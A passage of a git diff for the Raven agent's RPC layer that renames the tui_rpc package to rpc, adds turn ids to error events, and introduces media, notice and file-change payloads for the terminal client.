``raven.tui_rpc.methods.session.session_undo`` that + # to a real handler in ``raven.rpc.methods.session.session_undo`` that # drops the last turn in place (parity test - # ``test_tui_rpc_session.py::test_session_undo_*``). + # ``test_rpc_session.py::test_session_undo_*``). ( "session.usage", "session.usage not supported in Raven v0.1", @@ -160,7 +160,7 @@ ), # NOTE: ``commands.catalog`` was previously stubbed (-32012) but is now # promoted to a real handler in - # ``raven.tui_rpc.methods.commands.commands_catalog`` that reflects + # ``raven.rpc.methods.commands.commands_catalog`` that reflects # ``raven.cli.commands.app`` to build a Typer-aware slash catalog. See # ``docs/openspec/changes/harness-command-catalog-dynamic/``. # image.attach — hermes image-paste attachment. v0.1 Raven is diff --git a/raven/tui_rpc/methods/_typer_reflect.py b/raven/rpc/methods/_typer_reflect.py similarity index 100% rename from raven/tui_rpc/methods/_typer_reflect.py rename to raven/rpc/methods/_typer_reflect.py diff --git a/raven/tui_rpc/methods/approval.py b/raven/rpc/methods/approval.py similarity index 93% rename from raven/tui_rpc/methods/approval.py rename to raven/rpc/methods/approval.py index fda3dc68..79dd87e3 100644 --- a/raven/tui_rpc/methods/approval.py +++ b/raven/rpc/methods/approval.py @@ -11,8 +11,8 @@ from typing import TYPE_CHECKING, Any if TYPE_CHECKING: - from raven.tui_rpc.approval_broker import ApprovalBroker - from raven.tui_rpc.dispatcher import Dispatcher + from raven.rpc.approval_broker import ApprovalBroker + from raven.rpc.dispatcher import Dispatcher async def approval_respond( diff --git a/raven/tui_rpc/methods/cli_dispatch.py b/raven/rpc/methods/cli_dispatch.py similarity index 95% rename from raven/tui_rpc/methods/cli_dispatch.py rename to raven/rpc/methods/cli_dispatch.py index 4248c243..ec6089a3 100644 --- a/raven/tui_rpc/methods/cli_dispatch.py +++ b/raven/rpc/methods/cli_dispatch.py @@ -46,21 +46,21 @@ from rich.console import Console import raven.cli.commands as ec_cli -from raven.tui_rpc._ansi_filter import filter_ansi -from raven.tui_rpc._confirm_injection import confirm_injection -from raven.tui_rpc._console_injection import inject_consoles -from raven.tui_rpc.confirm_broker import _CONFIRM_HARD_LIMIT_S -from raven.tui_rpc.errors import ( +from raven.rpc._ansi_filter import filter_ansi +from raven.rpc._confirm_injection import confirm_injection +from raven.rpc._console_injection import inject_consoles +from raven.rpc.confirm_broker import _CONFIRM_HARD_LIMIT_S +from raven.rpc.errors import ( CliCommandTimeoutError, ConfigValidationError, NotDispatchCompatibleError, ) -from raven.tui_rpc.methods._typer_reflect import collect_command_names as _collect_command_names -from raven.tui_rpc.models import CliDispatchParams +from raven.rpc.methods._typer_reflect import collect_command_names as _collect_command_names +from raven.rpc.models import CliDispatchParams if TYPE_CHECKING: - from raven.tui_rpc.confirm_broker import ConfirmBroker - from raven.tui_rpc.dispatcher import Dispatcher + from raven.rpc.confirm_broker import ConfirmBroker + from raven.rpc.dispatcher import Dispatcher # --------------------------------------------------------------------------- @@ -261,7 +261,7 @@ async def cli_dispatch(params: dict, *, confirm_broker: "ConfirmBroker | None" = # slash typed by the user (e.g. /asd, /provider login). It is normal # operation, not info-worthy chatter — and at INFO it corrupts the # Ink reconciler when stderr inheritance is on. - logger.debug("tui_rpc.cli.dispatch: rejected non-compatible argv: {!r}", argv) + logger.debug("rpc.cli.dispatch: rejected non-compatible argv: {!r}", argv) raise NotDispatchCompatibleError( f"argv {argv!r} not in cli.dispatch whitelist", data={"argv": argv, "hint": "use native UI for this command"}, @@ -330,7 +330,7 @@ async def cli_dispatch(params: dict, *, confirm_broker: "ConfirmBroker | None" = err_console.print(f"[red]Error:[/] {exc.format_message()}") exit_code = 1 except asyncio.TimeoutError as exc: - logger.warning("tui_rpc.cli.dispatch: timeout after {}s argv={!r}", timeout_s, argv) + logger.warning("rpc.cli.dispatch: timeout after {}s argv={!r}", timeout_s, argv) raise CliCommandTimeoutError( f"command exceeded {timeout_s}s timeout", data={"argv": argv, "timeout_s": timeout_s}, @@ -341,7 +341,7 @@ async def cli_dispatch(params: dict, *, confirm_broker: "ConfirmBroker | None" = # but defensively preserve them). raise except Exception as exc: # noqa: BLE001 — last-resort catch - logger.exception("tui_rpc.cli.dispatch: unexpected error in argv={!r}", argv) + logger.exception("rpc.cli.dispatch: unexpected error in argv={!r}", argv) err_console.print(f"[red]Internal error:[/] {type(exc).__name__}: {exc}") exit_code = 1 diff --git a/raven/tui_rpc/methods/commands.py b/raven/rpc/methods/commands.py similarity index 98% rename from raven/tui_rpc/methods/commands.py rename to raven/rpc/methods/commands.py index 09532d80..442d368d 100644 --- a/raven/tui_rpc/methods/commands.py +++ b/raven/rpc/methods/commands.py @@ -39,7 +39,7 @@ import typer from loguru import logger -from raven.tui_rpc.methods._typer_reflect import ( +from raven.rpc.methods._typer_reflect import ( resolve_name as _resolve_name, ) @@ -47,13 +47,13 @@ # ``cli_dispatch.py`` header for rationale (design.md §D4.4 — one set # read by both ``cli.dispatch`` rejection and ``commands.catalog`` exclusion # so the two can never drift). -from raven.tui_rpc.methods.cli_dispatch import ( +from raven.rpc.methods.cli_dispatch import ( _DISPATCH_BLACKLIST, _is_agent_repl, ) if TYPE_CHECKING: - from raven.tui_rpc.dispatcher import Dispatcher + from raven.rpc.dispatcher import Dispatcher # Synthetic category name for top-level commands (no group). Goes first in diff --git a/raven/tui_rpc/methods/config.py b/raven/rpc/methods/config.py similarity index 99% rename from raven/tui_rpc/methods/config.py rename to raven/rpc/methods/config.py index 117c11c3..23a70ecc 100644 --- a/raven/tui_rpc/methods/config.py +++ b/raven/rpc/methods/config.py @@ -35,15 +35,15 @@ from raven.cli._helpers import load_runtime_config, make_provider from raven.providers.auth import MissingCredentialsError from raven.providers.wire import stored_model_id -from raven.tui_rpc.errors import ( +from raven.rpc.errors import ( ConfigFieldReadonlyError, ConfigValidationError, ModelNotAvailableError, ) if TYPE_CHECKING: - from raven.tui_rpc.dispatcher import Dispatcher - from raven.tui_rpc.methods.session import AgentLoopFactory + from raven.rpc.dispatcher import Dispatcher + from raven.rpc.methods.session import AgentLoopFactory _CONFIG_DIR_NAME = ".raven" diff --git a/raven/tui_rpc/methods/confirm.py b/raven/rpc/methods/confirm.py similarity index 93% rename from raven/tui_rpc/methods/confirm.py rename to raven/rpc/methods/confirm.py index 11faed09..68c9563f 100644 --- a/raven/tui_rpc/methods/confirm.py +++ b/raven/rpc/methods/confirm.py @@ -20,8 +20,8 @@ from typing import TYPE_CHECKING, Any if TYPE_CHECKING: - from raven.tui_rpc.confirm_broker import ConfirmBroker - from raven.tui_rpc.dispatcher import Dispatcher + from raven.rpc.confirm_broker import ConfirmBroker + from raven.rpc.dispatcher import Dispatcher async def confirm_respond(params: dict[str, Any], *, confirm_broker: "ConfirmBroker") -> dict: diff --git a/raven/tui_rpc/methods/model.py b/raven/rpc/methods/model.py similarity index 99% rename from raven/tui_rpc/methods/model.py rename to raven/rpc/methods/model.py index 8b986065..9a8b7db4 100644 --- a/raven/tui_rpc/methods/model.py +++ b/raven/rpc/methods/model.py @@ -50,11 +50,11 @@ split_model_id, ) from raven.providers.wire import stored_model_id -from raven.tui_rpc.errors import ( +from raven.rpc.errors import ( ConfigValidationError, NotSupportedInV01Error, ) -from raven.tui_rpc.models import ( +from raven.rpc.models import ( ModelAddEndpointParams, ModelAddModelParams, ModelDisconnectParams, @@ -66,8 +66,8 @@ ) if TYPE_CHECKING: - from raven.tui_rpc.dispatcher import Dispatcher - from raven.tui_rpc.methods.session import AgentLoopFactory + from raven.rpc.dispatcher import Dispatcher + from raven.rpc.methods.session import AgentLoopFactory def _parse(model_cls: type, params: dict) -> Any: diff --git a/raven/tui_rpc/methods/question.py b/raven/rpc/methods/question.py similarity index 94% rename from raven/tui_rpc/methods/question.py rename to raven/rpc/methods/question.py index 35ebaf33..508db668 100644 --- a/raven/tui_rpc/methods/question.py +++ b/raven/rpc/methods/question.py @@ -21,8 +21,8 @@ from typing import TYPE_CHECKING, Any if TYPE_CHECKING: - from raven.tui_rpc.dispatcher import Dispatcher - from raven.tui_rpc.question_broker import QuestionBroker + from raven.rpc.dispatcher import Dispatcher + from raven.rpc.question_broker import QuestionBroker async def question_respond(params: dict[str, Any], *, question_broker: "QuestionBroker") -> dict: diff --git a/raven/tui_rpc/methods/reload.py b/raven/rpc/methods/reload.py similarity index 95% rename from raven/tui_rpc/methods/reload.py rename to raven/rpc/methods/reload.py index 23033f0d..50aceb1c 100644 --- a/raven/tui_rpc/methods/reload.py +++ b/raven/rpc/methods/reload.py @@ -11,7 +11,7 @@ from typing import TYPE_CHECKING if TYPE_CHECKING: - from raven.tui_rpc.dispatcher import Dispatcher + from raven.rpc.dispatcher import Dispatcher async def reload_mcp(params: dict) -> dict: diff --git a/raven/tui_rpc/methods/session.py b/raven/rpc/methods/session.py similarity index 98% rename from raven/tui_rpc/methods/session.py rename to raven/rpc/methods/session.py index f94ea3fe..ee0a6c6b 100644 --- a/raven/tui_rpc/methods/session.py +++ b/raven/rpc/methods/session.py @@ -35,16 +35,16 @@ from raven.cli.update_notice import update_notice from raven.config.loader import drain_migration_notices, load_config from raven.providers.rates import resolve_context_window +from raven.rpc.errors import TurnInProgressError +from raven.rpc.methods import turn as turn_module +from raven.rpc.methods.system import _raven_version from raven.session.export import default_export_path, write_transcript from raven.session.manager import SessionManager, new_chat_id -from raven.tui_rpc.errors import TurnInProgressError -from raven.tui_rpc.methods import turn as turn_module -from raven.tui_rpc.methods.system import _raven_version if TYPE_CHECKING: from raven.agent.loop.main import AgentLoop from raven.config.schema import Config - from raven.tui_rpc.dispatcher import Dispatcher + from raven.rpc.dispatcher import Dispatcher AgentLoopFactory = Callable[[], "AgentLoop | None"] @@ -645,7 +645,7 @@ def register_session_methods( ) -> None: """Register the 11 session handlers on a dispatcher. - Mirrors :func:`raven.tui_rpc.methods.turn.register_turn_methods` — + Mirrors :func:`raven.rpc.methods.turn.register_turn_methods` — wraps the module-level handlers in single-argument closures that pre-bind ``agent_loop_factory``, satisfying the dispatcher's ``params -> dict`` contract. diff --git a/raven/tui_rpc/methods/setup.py b/raven/rpc/methods/setup.py similarity index 99% rename from raven/tui_rpc/methods/setup.py rename to raven/rpc/methods/setup.py index 12d6f280..e9d43062 100644 --- a/raven/tui_rpc/methods/setup.py +++ b/raven/rpc/methods/setup.py @@ -32,7 +32,7 @@ from loguru import logger if TYPE_CHECKING: - from raven.tui_rpc.dispatcher import Dispatcher + from raven.rpc.dispatcher import Dispatcher _CONFIG_FILENAME = "config.json" diff --git a/raven/tui_rpc/methods/slash_routing.py b/raven/rpc/methods/slash_routing.py similarity index 97% rename from raven/tui_rpc/methods/slash_routing.py rename to raven/rpc/methods/slash_routing.py index b12c1d34..5978facf 100644 --- a/raven/tui_rpc/methods/slash_routing.py +++ b/raven/rpc/methods/slash_routing.py @@ -25,20 +25,20 @@ from loguru import logger -from raven.tui_rpc.errors import ( +from raven.rpc.errors import ( CliCommandTimeoutError, ConfigValidationError, NotDispatchCompatibleError, ) -from raven.tui_rpc.methods.cli_dispatch import ( +from raven.rpc.methods.cli_dispatch import ( _DISPATCH_BLACKLIST, _is_agent_repl, cli_dispatch, ) if TYPE_CHECKING: - from raven.tui_rpc.confirm_broker import ConfirmBroker - from raven.tui_rpc.dispatcher import Dispatcher + from raven.rpc.confirm_broker import ConfirmBroker + from raven.rpc.dispatcher import Dispatcher _DEFAULT_WIDTH = 100 diff --git a/raven/tui_rpc/methods/system.py b/raven/rpc/methods/system.py similarity index 93% rename from raven/tui_rpc/methods/system.py rename to raven/rpc/methods/system.py index 619a0dcc..8b14c734 100644 --- a/raven/tui_rpc/methods/system.py +++ b/raven/rpc/methods/system.py @@ -2,7 +2,7 @@ These handlers are invoked by the dispatcher with a plain `params: dict` and must return a plain `result: dict`. Validation uses Pydantic v2 models from -`raven/tui_rpc/models.py` when available; otherwise we inline a lightweight +`raven/rpc/models.py` when available; otherwise we inline a lightweight semver guard so the dispatcher can be tested standalone. """ @@ -16,10 +16,10 @@ from loguru import logger -from raven.tui_rpc.errors import ConfigValidationError +from raven.rpc.errors import ConfigValidationError if TYPE_CHECKING: - from raven.tui_rpc.dispatcher import Dispatcher + from raven.rpc.dispatcher import Dispatcher # ---------------------------------------------------------------------------- @@ -71,7 +71,7 @@ async def system_hello(params: dict) -> dict: client_capabilities = params.get("client_capabilities", []) or [] # pid distinguishes concurrent `raven tui` processes sharing one log file. logger.info( - "tui_rpc: handshake — pid={} client_version={} client_capabilities={}", + "rpc: handshake — pid={} client_version={} client_capabilities={}", os.getpid(), client_version, client_capabilities, diff --git a/raven/tui_rpc/methods/terminal.py b/raven/rpc/methods/terminal.py similarity index 98% rename from raven/tui_rpc/methods/terminal.py rename to raven/rpc/methods/terminal.py index 77c3c6b2..51b5046f 100644 --- a/raven/tui_rpc/methods/terminal.py +++ b/raven/rpc/methods/terminal.py @@ -19,7 +19,7 @@ from typing import TYPE_CHECKING, Any if TYPE_CHECKING: - from raven.tui_rpc.dispatcher import Dispatcher + from raven.rpc.dispatcher import Dispatcher # Module-level latest-known terminal size. ``None`` means "no resize event diff --git a/raven/tui_rpc/methods/turn.py b/raven/rpc/methods/turn.py similarity index 85% rename from raven/tui_rpc/methods/turn.py rename to raven/rpc/methods/turn.py index e75fa42f..f41aee95 100644 --- a/raven/tui_rpc/methods/turn.py +++ b/raven/rpc/methods/turn.py @@ -24,19 +24,19 @@ from loguru import logger from pydantic import ValidationError -from raven.spine import ChatType, Media, Origin, Source, TurnHandle, TurnRequest -from raven.spine.scheduler import Scheduler, SchedulerDrainingError -from raven.tui_rpc.errors import RpcError, TurnInProgressError -from raven.tui_rpc.models import ( +from raven.rpc.errors import RpcError, TurnInProgressError +from raven.rpc.models import ( TurnCancelParams, TurnSendParams, TurnSubscribeParams, TurnUnsubscribeParams, ) -from raven.tui_rpc.subscriptions import SubscriptionEmitter +from raven.rpc.subscriptions import SubscriptionEmitter +from raven.spine import ChatType, Media, Origin, Source, TurnHandle, TurnRequest +from raven.spine.scheduler import Scheduler, SchedulerDrainingError if TYPE_CHECKING: - from raven.tui_rpc.dispatcher import Dispatcher + from raven.rpc.dispatcher import Dispatcher _TURN_FAILED_CODE = -32099 @@ -142,7 +142,12 @@ async def _emit_start_then_error( await emitter.emit(session_key, {"type": "message.start", "payload": {"turn_id": turn_id}}) await emitter.emit( session_key, - {"type": "error", "payload": {"code": code, "message": message, "reason": "internal"}}, + { + "type": "error", + # Carries the turn it belongs to: this failure answers a request, and + # a consumer with no id cannot tell it from a foreign turn's. + "payload": {"code": code, "message": message, "reason": "internal", "turn_id": turn_id}, + }, ) @@ -153,6 +158,7 @@ async def turn_send( scheduler: Scheduler | None = None, turn_ids: dict[str, str] | None = None, build_error: RpcError | None = None, + default_channel: str = "tui", ) -> dict[str, Any]: """``turn.send`` — submit a turn onto the spine, return ``{turn_id, accepted}``. @@ -196,7 +202,7 @@ async def turn_send( req = TurnRequest( origin=Origin.USER, source=Source( - channel=parsed.channel or "tui", + channel=parsed.channel or default_channel, chat_id=parsed.chat_id or "default", sender_id=parsed.sender_id or "user", chat_type=ChatType.DM, @@ -206,6 +212,12 @@ async def turn_send( # conversation == the front-end subscription key, so the runner's stream # and the sink's message.complete reach the right subscription. conversation=parsed.session_key, + # The id this call returns and puts on message.start, so the lane stamps + # THIS value on the turn's lifecycle events and the client's correlation + # key survives end to end. Without it the lane mints its own, the sink's + # ownership check never matches what this bound, and the active-turn slot + # is never released -- every later send is refused. + turn_id=turn_id, ) try: handle = scheduler.submit(req) @@ -260,10 +272,30 @@ async def turn_unsubscribe( return {"unsubscribed": unsubscribed} +def _cancel_payload(turn_id: str) -> dict[str, Any]: + """The cancelled-turn error's payload, carrying its turn when one is bound. + + The lane's bound turn is the right source here and only here: the client + cancels its own session, so the turn ``turn.send`` bound to this lane is the + turn being cancelled. The key is omitted rather than sent empty, so that + "absent" has one representation on the wire -- a consumer that correlates a + request to a turn treats both the same way, as not its own. + """ + payload: dict[str, Any] = { + "code": _TURN_FAILED_CODE, + "message": "turn_cancelled", + "reason": "cancelled_by_client", + } + if turn_id: + payload["turn_id"] = turn_id + return payload + + async def turn_cancel( params: dict[str, Any], *, emitter: SubscriptionEmitter | None = None, + turn_ids: dict[str, str] | None = None, ) -> dict[str, Any]: """``turn.cancel`` — cancel the in-flight turn + notify subscribers. @@ -297,11 +329,7 @@ async def turn_cancel( parsed.session_key, { "type": "error", - "payload": { - "code": _TURN_FAILED_CODE, - "message": "turn_cancelled", - "reason": "cancelled_by_client", - }, + "payload": _cancel_payload((turn_ids or {}).get(parsed.session_key, "")), }, ) @@ -324,6 +352,7 @@ def register_turn_methods( scheduler: Scheduler | None = None, turn_ids: dict[str, str] | None = None, build_error: RpcError | None = None, + default_channel: str = "tui", ) -> None: """Register ``turn.{send,subscribe,unsubscribe,cancel}`` on a dispatcher. @@ -331,6 +360,12 @@ def register_turn_methods( pre-bind the ``emitter`` and the build_tui spine bundle (``scheduler`` / ``turn_ids``) plus the latched ``build_error``, per the dispatcher's single-argument handler contract. + + ``default_channel`` is the ``source.channel`` stamped on a turn when the + client omits one, and it MUST match the channel the delivery outlet was + registered under: the hub routes a deliverable by ``source.channel``, so a + mismatch drops the whole reply with no error anywhere. Defaults to ``"tui"``, + which is what this handler used to hardcode. """ async def _send(params: dict[str, Any]) -> dict[str, Any]: @@ -340,6 +375,7 @@ async def _send(params: dict[str, Any]) -> dict[str, Any]: scheduler=scheduler, turn_ids=turn_ids, build_error=build_error, + default_channel=default_channel, ) async def _subscribe(params: dict[str, Any]) -> dict[str, Any]: @@ -349,7 +385,7 @@ async def _unsubscribe(params: dict[str, Any]) -> dict[str, Any]: return await turn_unsubscribe(params, emitter=emitter) async def _cancel(params: dict[str, Any]) -> dict[str, Any]: - return await turn_cancel(params, emitter=emitter) + return await turn_cancel(params, emitter=emitter, turn_ids=turn_ids) dispatcher.register("turn.send", _send) dispatcher.register("turn.subscribe", _subscribe) diff --git a/raven/tui_rpc/models.py b/raven/rpc/models.py similarity index 84% rename from raven/tui_rpc/models.py rename to raven/rpc/models.py index de80de5c..c372dddc 100644 --- a/raven/tui_rpc/models.py +++ b/raven/rpc/models.py @@ -148,6 +148,84 @@ class EpisodeStartEvent(_Strict): payload: EpisodeStartPayload +class FileChange(_Strict): + """One file a tool call wrote, as contents rather than as a rendering of them. + + Beside ``ToolCompletePayload.diff`` rather than instead of it. A client that + draws its own diff needs the text: a unified diff cannot be turned back into + the file, its context is limited, and an oversized rewrite is dropped from it + entirely. + """ + + path: str = Field(description="Absolute path of the file that was written.") + after: str = Field(description="The file's full contents after the write.") + before: str | None = Field( + default=None, + description=( + "The contents the write replaced. Absent when the file did not exist, so a client " + "renders a creation differently from a rewrite; an empty string means the file " + "existed and was empty. This is why the field cannot use a falsy-means-absent " + "shortcut -- an empty file has the same emptiness." + ), + ) + + +class MediaItem(_Strict): + """One file the agent produced as part of its reply, by local path.""" + + path: str = Field(description="Absolute path of the file on the machine the agent runs on.") + mime: str = Field( + description=( + "MIME type as declared by the emit site. Every producer declares " + "application/octet-stream today, so a client that needs the real type should sniff " + "the extension rather than trust this." + ) + ) + kind: str = Field(description='Coarse media class; "file" is the only value emitted today.') + + +class MediaPayload(_Strict): + items: list[MediaItem] = Field( + description=( + "The files, in the order the turn produced them. Never empty: an event with nothing " + "to deliver is not emitted." + ) + ) + + +class MediaEvent(_Strict): + """Files the reply carried, as paths rather than bytes. + + A separate event rather than a field on ``message.complete``: media is emitted + before the reply text (the loop's own order) and a turn can produce it without + producing text at all, so hanging it off the completion would reorder it and + lose the text-free case. + + Paths and not contents because both ends of this wire are on one machine. + """ + + type: Literal["media"] + payload: MediaPayload + + +class NoticePayload(_Strict): + kind: str = Field(..., description="Which runtime decision this reports; `action_blocked` today.") + detail: str = Field("", description="The blocking tool's own first line, when it gave one.") + + +class NoticeEvent(_Strict): + """Prose the runtime wrote, not the model. + + It must not arrive as `token.delta`: that buffer is the model's voice, so + the text would render as the answer -- glued to whatever the model narrated + just before it, carrying the answer's copy and branch actions, and stuck in + English whatever language the turn was in. + """ + + type: Literal["notice"] + payload: NoticePayload + + class TokenDeltaPayload(_Strict): text: str @@ -171,6 +249,14 @@ class ToolStartPayload(_Strict): name: str arguments: dict[str, JsonValue] display: str | None = None + blocking: bool = Field( + default=False, + description=( + "The call is a blocking interaction, so it has no automatic deadline and may emit " + "nothing for as long as it runs. A client that clocks the event stream for liveness " + "must suspend that clock while it is in flight, or it declares a sub-agent run dead." + ), + ) class ToolStartEvent(_Strict): @@ -192,6 +278,22 @@ class ToolCompletePayload(_Strict): tool_call_id: str result_preview: str truncated: bool + metadata: dict[str, JsonValue] | None = Field( + default=None, + description=( + "Opt-in structured payload a tool chose to publish (a file manifest, for example), " + "straight off ToolResult.metadata. A client that does not understand a key ignores it." + ), + ) + diff: str | None = Field( + default=None, + description=( + "Unified diff of what the call changed on disk, when the tool could produce one. " + "The only record of what a whole-file write replaced: the arguments carry the new " + "content and nothing else, so a client without this draws an overwrite as all additions." + ), + ) + file_change: FileChange | None = None class ToolCompleteEvent(_Strict): @@ -214,6 +316,18 @@ class ErrorEventPayload(_Strict): message: str reason: Literal["cancelled_by_client", "internal"] | None = None detail: str | None = None + turn_id: str | None = Field( + default=None, + description=( + "Which turn failed, when the failure belongs to one. The lane is shared, so a turn " + "the runtime submitted can fail while a client's turn is queued behind it: a client " + "with no id to compare clears its own turn's state on somebody else's failure, and a " + "consumer that answers a request off this event answers the wrong request. Absent when " + "there is no turn to name -- a connection-level failure, or a cancellation the client " + "asked for on the turn it is watching -- which a consumer reads as not-somebody-else's " + "rather than as its own." + ), + ) class ErrorEvent(_Strict): @@ -253,6 +367,8 @@ class CronMissedEvent(_Strict): Union[ MessageStartEvent, EpisodeStartEvent, + NoticeEvent, + MediaEvent, TokenDeltaEvent, ThinkingDeltaEvent, ToolStartEvent, @@ -1006,6 +1122,12 @@ class ToolsConfigureParams(_Strict): "SessionExportResult", "MessageStartEvent", "EpisodeStartEvent", + "NoticeEvent", + "FileChange", + "MediaEvent", + "MediaItem", + "MediaPayload", + "NoticePayload", "TokenDeltaEvent", "ThinkingDeltaEvent", "ToolStartEvent", diff --git a/raven/tui_rpc/question_broker.py b/raven/rpc/question_broker.py similarity index 100% rename from raven/tui_rpc/question_broker.py rename to raven/rpc/question_broker.py diff --git a/raven/tui_rpc/server.py b/raven/rpc/server.py similarity index 93% rename from raven/tui_rpc/server.py rename to raven/rpc/server.py index 7ba61158..6d14e386 100644 --- a/raven/tui_rpc/server.py +++ b/raven/rpc/server.py @@ -29,7 +29,7 @@ from loguru import logger if TYPE_CHECKING: - from raven.tui_rpc.dispatcher import Dispatcher + from raven.rpc.dispatcher import Dispatcher # Per specs/tui-ipc.md §2.5 @@ -169,7 +169,7 @@ async def serve_forever(self) -> None: self._started.set() logger.info( - "tui_rpc: RpcServer started (pid={}, request_fd={}, notify_fd={}, mode={})", + "rpc: RpcServer started (pid={}, request_fd={}, notify_fd={}, mode={})", os.getpid(), self._request_fd, self._notify_fd, @@ -185,11 +185,11 @@ async def serve_forever(self) -> None: try: first = await asyncio.wait_for(reader.readuntil(b"\n"), timeout=10.0) except (asyncio.TimeoutError, asyncio.IncompleteReadError, asyncio.LimitOverrunError): - logger.error("tui_rpc: auth token not received; closing connection") + logger.error("rpc: auth token not received; closing connection") self._stopped.set() return if first.rstrip(b"\n") != self._auth_token.encode("utf-8"): - logger.error("tui_rpc: auth token mismatch; closing connection") + logger.error("rpc: auth token mismatch; closing connection") self._stopped.set() return @@ -201,19 +201,19 @@ async def serve_forever(self) -> None: # EOF — peer closed. Drain whatever partial bytes we have. if exc.partial: logger.warning( - "tui_rpc: incomplete final frame ({} bytes); dropping", + "rpc: incomplete final frame ({} bytes); dropping", len(exc.partial), ) break except asyncio.LimitOverrunError: logger.error( - "tui_rpc: frame exceeds {} bytes; closing connection", + "rpc: frame exceeds {} bytes; closing connection", MAX_FRAME_BYTES, ) break if len(line) > MAX_FRAME_BYTES: - logger.error("tui_rpc: frame {} bytes > {} cap; closing", len(line), MAX_FRAME_BYTES) + logger.error("rpc: frame {} bytes > {} cap; closing", len(line), MAX_FRAME_BYTES) break # Spawn the dispatch as an independent task so streaming / @@ -253,7 +253,7 @@ async def _handle_frame(self, raw: bytes) -> None: await self.send_frame(response) except Exception: # Last-resort guard so a single buggy handler can't kill the pump. - logger.exception("tui_rpc: _handle_frame failed") + logger.exception("rpc: _handle_frame failed") async def _shutdown(self) -> None: # Cancel any in-flight dispatch tasks. @@ -268,11 +268,11 @@ async def _shutdown(self) -> None: try: self._write_transport.close() except Exception: - logger.exception("tui_rpc: error closing write transport") + logger.exception("rpc: error closing write transport") self._write_transport = None self._stopped.set() - logger.info("tui_rpc: RpcServer stopped (pid={})", os.getpid()) + logger.info("rpc: RpcServer stopped (pid={})", os.getpid()) async def stop(self) -> None: """Signal the read loop to exit and wait for cleanup.""" diff --git a/raven/tui_rpc/spine.py b/raven/rpc/spine.py similarity index 71% rename from raven/tui_rpc/spine.py rename to raven/rpc/spine.py index 0345cd3a..89d4b6bb 100644 --- a/raven/tui_rpc/spine.py +++ b/raven/rpc/spine.py @@ -5,7 +5,7 @@ The TUI runs turns through spine (submit -> lane -> run_turn -> hub -> outlet). All of token/reasoning/tool/Text flow through the hub to the TuiOutlet, so they -share one per-outlet FIFO. spine never imports tui_rpc; tui_rpc imports spine. +share one per-outlet FIFO. spine never imports rpc; rpc imports spine. Why ``message.complete`` is fired from the sink (not from a stream-close): it is an unconditional per-turn signal — the front-end clears its turn slot on it, so a @@ -22,9 +22,13 @@ from raven.agent.spine_runner import AgentTurnRunner from raven.agent.tools.message import MessageTool from raven.agent.tools.shell import ApprovalResponder, ExecTool +from raven.rpc.subscriptions import SubscriptionEmitter from raven.spine import ( Deliverable, EpisodeStart, + MediaOut, + Notice, + NoticeKind, Origin, OriginPools, Reasoning, @@ -41,7 +45,6 @@ from raven.spine.delivery import Capabilities, DeliveryHub from raven.spine.events import TurnEvent from raven.spine.runner import Drain, Emit -from raven.tui_rpc.subscriptions import SubscriptionEmitter _TURN_FAILED_CODE = -32099 @@ -135,9 +138,10 @@ class TuiOutlet: (-> token.delta), and the discrete deliverables via ``deliver`` (Reasoning -> thinking.delta, ToolEvent -> tool.start / tool.complete, a non-streamed Text -> a token.delta). The turn's completion (``message.complete``) and failure - (``error``) are emitted by the sink after the render barrier. Notice and - MediaOut are eaten — the wire protocol has no event for them and the TUI shows - no per-turn progress or tool media today (a known gap, deferred).""" + (``error``) are emitted by the sink after the render barrier. A Notice the + runtime raised about the turn itself (``action_blocked``) rides ``notice``; + a MediaOut rides ``media``. Progress and tool-hint notices are eaten -- no + client shows per-turn progress today (a known gap, deferred).""" def __init__(self, channel: str, emitter: SubscriptionEmitter) -> None: self.name = channel @@ -159,6 +163,7 @@ async def deliver(self, out: Deliverable) -> None: "tool_call_id": out.tool_call_id, "name": out.name, "arguments": out.arguments or {}, + "blocking": out.blocking, "display": out.display, }, }, @@ -172,6 +177,13 @@ async def deliver(self, out: Deliverable) -> None: "tool_call_id": out.tool_call_id, "result_preview": out.result_preview, "truncated": out.truncated, + "metadata": out.metadata, + "diff": out.diff, + # Beside the rendered diff for a client that draws its + # own. Absent rather than null when a call changed no + # file, so every payload the wire already carried keeps + # its shape. + **({"file_change": out.file_change} if out.file_change else {}), }, }, ) @@ -181,11 +193,37 @@ async def deliver(self, out: Deliverable) -> None: # reply uses, so message.complete finalizes it like any other text. if out.content: await self._emitter.emit(cid, {"type": "token.delta", "payload": {"text": out.content}}) + elif isinstance(out, Notice): + # Only the kinds that describe what the RUNTIME did to the turn go + # on the wire. Progress and tool-hint notices exist for text-only + # channels that cannot draw a tool row; this client draws every call + # already, so forwarding them would narrate the same work twice. + if out.kind is NoticeKind.ACTION_BLOCKED: + await self._emitter.emit( + cid, + {"type": "notice", "payload": {"kind": out.kind.value, "detail": out.detail or ""}}, + ) elif isinstance(out, EpisodeStart): # Boundary marker; the TUI buckets this model call's reasoning + # text + tools into one collapsible episode. await self._emitter.emit(cid, {"type": "episode.start", "payload": {"index": out.index}}) - # Notice / MediaOut: eaten (no wire event today). + elif isinstance(out, MediaOut): + # Paths, not bytes: both ends of this wire are on one machine (the + # terminal is a child process; a protocol client spawns the agent + # itself), and a turn can produce a file large enough that base64 on + # a line-delimited channel would stall every other event behind it. + # + # An empty tuple is not emitted. The contract says the list is never + # empty, and an event that delivers nothing would still make a client + # draw an attachment row. + if out.media: + await self._emitter.emit( + cid, + { + "type": "media", + "payload": {"items": [{"path": m.path, "mime": m.mime, "kind": m.kind} for m in out.media]}, + }, + ) async def send_stream_chunk(self, chat_id: str, stream_id: str, delta: str, *, done: bool = False) -> None: if done: @@ -203,10 +241,37 @@ async def emit_complete(self, conversation_id: str, turn_id: str | None, usage: {"type": "message.complete", "payload": {"turn_id": turn_id, "usage": usage}}, ) - async def emit_error(self, conversation_id: str, code: int, message: str, reason: str, detail: str = "") -> None: + async def emit_error( + self, + conversation_id: str, + code: int, + message: str, + reason: str, + detail: str = "", + turn_id: str | None = None, + ) -> None: + """A turn's failure, tagged with the turn it belongs to when known. + + Two consumers need it and neither can do without. A client watching one + turn must not read a foreign turn's failure as the end of its own -- the + lane is shared, so a runtime turn can fail while a client's turn is + queued behind it, and an ungated failure idles an input the person is + still waiting on. And any consumer that answers a *request* off this + event, as the ACP surface does, answers the wrong request without an id + to compare (see ``_owns_lane``). + + Omitted rather than blanked when there is no turn to name: a + connection-level failure belongs to none, and a cancellation belongs to + the turn the client asked about. A consumer reads its absence as "not + somebody else's" rather than as "mine". + """ payload: dict[str, Any] = {"code": code, "message": message, "reason": reason} + if turn_id: + payload["turn_id"] = turn_id if detail: payload["detail"] = detail + if turn_id: + 